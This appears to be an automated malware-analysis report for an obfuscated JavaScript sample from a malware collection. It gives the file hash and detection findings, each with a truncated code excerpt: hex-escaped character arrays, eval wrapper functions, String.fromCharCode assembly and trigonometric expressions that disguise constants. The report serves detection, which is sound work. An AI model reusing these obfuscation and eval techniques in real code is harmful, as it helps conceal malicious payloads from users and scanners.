Suspicious ^80% javascript-malware-collection Download

c236d5ecaa39843524a22354022466c8f1006f3e372f3eab2aa1b8c11fb6199e.js

obfuscated eval execution

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256c236d5ecaa39843524a22354022466c8f1006f3e372f3eab2aa1b8c11fb6199e

Evidence

JavaScript contains a long minified line lines 1–2

1var J=new Array();
2S(J,"\x3e");S(J,"\x25");S(J,"\x65");S(J,"\x77");S(J,"\x60");S(J,"\x3a");S(J,"\x79");S(J,"\x3b");S(J,"\x29");S(J,"\x5d");S(J,"\x4c");S(J,"\x4e");S(J,"\x52");S(J,"\x76");S(J,"\x6f");S(J,"\x6f");S(J,"\x4a");S(J,"\x5d");S(J,"\x37");S(J,"\x78");S(J,"\x3c");S(J,"\x68");S(J,"\x69");S(J,"\x48");S(J,"\x33");S(J,"\x28");S(J,"\x2d");S(J,"\x23");S(J,"\x4f");S(J,"\x44");S(J,"\x28");S(J,"\x66");S(J,"\x30");S(J,"\x24");S(J,"\x41");S(J,"\x6f");S(J,"\x3e");S(J,"\x70");S(J,"\x5f");S(J,"\x37");S(J,"\x5f");S(J,"\x58");S(J,"\x4c");S(J,"\x79");S(J,"\x55");S(J,"\x2a");S(J,"\x69");S(J,"\x36");S(J,"\x50");S(J,"\x74");S(J,"\x6 …

Builds characters with String.fromCharCode line 4

4:260… 43],J[44],J[45],J[46],J[47],J[48],J[49],J[50],J[51],J[52],J[53],String.fromCharCode(10),J[54],J[55],J[56],J[57],J[58],J[59],J[60],J[61],J[62],J[63],J[64],String.fromCharCode(13),J[65],J[66],J[67],J[68],J[69],J[7 …

Calls JavaScript toString conversion method lines 6–8

6:35… sJKjhb,kwLNDUVG){lOtF=parseInt(kUGaFplSVUq,hzdtqXesJKjhb);AbCjh=lOtF.toString(kwLNDUVG);return AbCjh;}function PwCeYOlCVavQmvW(SBNNDwUVaXVuNFCSN,ZeSUitAuCWmSDAFZYNwlGywZFUwHvgsDJe,zGQUZGEuoRHqdoJmgyDsUdFjvYxplPonhuV){eval(SBNNDwUVaXVuNFCSN)}
7function PwCeYOlCVavQmvW(SBNNDwUVaXVuNFCSN){eval(SBNNDwUVaXVuNFCSN)}
8function xCvDOnfVNINzfOQdabCCUPxTYXjMyowpDcyZhVGBQJwPp …

Calls JavaScript split() lines 9–11

9:155… uKkTbmKYKSyUAW);}
10function JfdnHQwIkky(FDYpWsHK,QxFBLK){return FDYpWsHK.split(QxFBLK)}
11var Z=[];Z[0]=J[720];Z[1]=J[721];Z[2]=J[722];Z[3]=J[723];Z[4]=J[724];Z[5]=J[725];Z[6]=J[726];Z[7]=J[727];Z[8]=J[728];Z[9]=J[729];Z[10]=J[730];Z[11]=J[731];Z[12]=J[732];Z[13]=J[733];Z[14]=J[734];Z[15]= …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,h];
14var sUhULcyuZ=[];
15function qyoHgfzRDiNcVCHmP(ndVqc){QRXyeqsRpJw= J[1820];for(TMPsfeditWh=Math.round((Math.pow(Math.sin(251), 2) + Math.pow(Math.cos(251), 2) - 1)); TMPsfeditWh < (1711+139)/925; TMPsfeditWh++) {sUhULcyuZ[TMPsfeditWh]=Math.round((Math.pow(Math.sin(700), 2) + Math.pow(Math.cos(700), 2) - 1)); while(true) { if(sUhULcyuZ[TMPsfeditWh] > ndVqc[TMPsfeditWh].length-(-9+543)/534) { break; } if (qQauYNv(WvHGY(ndVqc[TMPsfeditWh][sUhULcyuZ[TMPsfeditWh]],(2122+846 …